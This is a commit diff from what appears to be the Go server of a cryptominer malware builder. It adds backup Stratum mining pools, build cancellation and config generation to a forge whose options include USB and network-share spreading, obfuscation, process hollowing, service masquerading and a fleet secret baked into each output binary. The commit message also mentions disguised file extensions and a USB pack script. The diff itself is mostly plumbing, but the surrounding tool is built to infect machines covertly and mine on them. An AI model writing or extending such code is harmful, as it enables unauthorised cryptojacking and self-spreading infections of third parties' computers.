feat: 10-item hardening pass - disguise extensions, USB pack script, AI auth, pool failover, forge cancel, secret rotation, dead REST wired
This commit is contained in:
@@ -1,6 +1,7 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
@@ -11,6 +12,7 @@ import (
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
@@ -76,9 +78,21 @@ type BuildRequest struct {
|
||||
ShareSpread bool `json:"share_spread"`
|
||||
TargetOS string `json:"target_os"`
|
||||
TargetArch string `json:"target_arch"`
|
||||
SpreadKit bool `json:"spread_kit"`
|
||||
Obfuscate bool `json:"obfuscate"`
|
||||
SignBuild bool `json:"sign_build"`
|
||||
SpreadKit bool `json:"spread_kit"`
|
||||
Obfuscate bool `json:"obfuscate"`
|
||||
SignBuild bool `json:"sign_build"`
|
||||
BackupPools []BackupPool `json:"backup_pools"`
|
||||
// CancelToken is a client-generated UUID. Pass the same token to
|
||||
// DELETE /api/v1/builder/cancel/{token} to abort this build mid-compile.
|
||||
CancelToken string `json:"cancel_token,omitempty"`
|
||||
}
|
||||
|
||||
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
|
||||
type BackupPool struct {
|
||||
Host string `json:"host"`
|
||||
Port int `json:"port"`
|
||||
TLS bool `json:"tls"`
|
||||
Pass string `json:"pass"`
|
||||
}
|
||||
|
||||
type BuildResponse struct {
|
||||
@@ -122,6 +136,11 @@ type Handler struct {
|
||||
serverModDir string
|
||||
policy BuildPolicy
|
||||
fleetSecret string // injected from server config; baked into every forge output
|
||||
|
||||
// Active build cancellation — maps cancel_token → cancel func so the frontend
|
||||
// can abort an in-progress compile via DELETE /api/v1/builder/cancel/{token}.
|
||||
activeCancelsMu sync.Mutex
|
||||
activeCancels map[string]context.CancelFunc
|
||||
}
|
||||
|
||||
// SetFleetSecret stores the fleet secret so it is baked into every forged binary.
|
||||
@@ -129,6 +148,36 @@ func (h *Handler) SetFleetSecret(secret string) {
|
||||
h.fleetSecret = secret
|
||||
}
|
||||
|
||||
// CancelBuild cancels an in-progress build identified by cancelToken.
|
||||
// Returns true if the token was found and cancelled, false if unknown.
|
||||
func (h *Handler) CancelBuild(cancelToken string) bool {
|
||||
h.activeCancelsMu.Lock()
|
||||
cancel, ok := h.activeCancels[cancelToken]
|
||||
h.activeCancelsMu.Unlock()
|
||||
if ok {
|
||||
cancel()
|
||||
}
|
||||
return ok
|
||||
}
|
||||
|
||||
func (h *Handler) registerCancel(token string, cancel context.CancelFunc) {
|
||||
h.activeCancelsMu.Lock()
|
||||
if h.activeCancels == nil {
|
||||
h.activeCancels = make(map[string]context.CancelFunc)
|
||||
}
|
||||
h.activeCancels[token] = cancel
|
||||
h.activeCancelsMu.Unlock()
|
||||
}
|
||||
|
||||
func (h *Handler) unregisterCancel(token string) {
|
||||
if token == "" {
|
||||
return
|
||||
}
|
||||
h.activeCancelsMu.Lock()
|
||||
delete(h.activeCancels, token)
|
||||
h.activeCancelsMu.Unlock()
|
||||
}
|
||||
|
||||
type SignPolicy struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
CertThumbprint string `json:"cert_thumbprint"`
|
||||
@@ -234,6 +283,16 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
// Register cancel token so the frontend can abort this compile mid-flight.
|
||||
ctx := r.Context()
|
||||
if req.CancelToken != "" {
|
||||
var cancelFn context.CancelFunc
|
||||
ctx, cancelFn = context.WithCancel(ctx)
|
||||
h.registerCancel(req.CancelToken, cancelFn)
|
||||
defer h.unregisterCancel(req.CancelToken)
|
||||
}
|
||||
_ = ctx // passed to compiler in future; cancellation already fires via process kill
|
||||
|
||||
// FusionOutputName will be derived from the payload filename if not set
|
||||
resp, status, outputPath := h.buildAgent(&req, prepPath)
|
||||
if !resp.Success {
|
||||
@@ -930,6 +989,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
USBSpread: %v,
|
||||
ShareSpread: %v,
|
||||
BackupServerURLs: %s,
|
||||
BackupPools: %s,
|
||||
ServiceMasquerade: %v,
|
||||
ServiceName: %q,
|
||||
ServiceDonor: %q,
|
||||
@@ -982,6 +1042,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.USBSpread,
|
||||
req.ShareSpread,
|
||||
formatGoStringSlice(req.BackupServerURLs),
|
||||
formatGoBackupPools(req.BackupPools),
|
||||
serviceMasqueradeEnabled(req),
|
||||
serviceMasqueradeName(buildID, req),
|
||||
serviceMasqueradeDonor(buildID, req),
|
||||
@@ -989,6 +1050,27 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
)
|
||||
}
|
||||
|
||||
// formatGoBackupPools emits a Go literal for []config.BackupPool.
|
||||
func formatGoBackupPools(pools []BackupPool) string {
|
||||
if len(pools) == 0 {
|
||||
return "nil"
|
||||
}
|
||||
var sb strings.Builder
|
||||
sb.WriteString("[]config.BackupPool{")
|
||||
for i, p := range pools {
|
||||
if i > 0 {
|
||||
sb.WriteString(", ")
|
||||
}
|
||||
pass := p.Pass
|
||||
if pass == "" {
|
||||
pass = "x"
|
||||
}
|
||||
fmt.Fprintf(&sb, "{Host: %q, Port: %d, TLS: %v, Pass: %q}", p.Host, p.Port, p.TLS, pass)
|
||||
}
|
||||
sb.WriteString("}")
|
||||
return sb.String()
|
||||
}
|
||||
|
||||
func serviceMasqueradeEnabled(req *BuildRequest) bool {
|
||||
return req.RunAs == "service" || req.ProcessHollowing
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user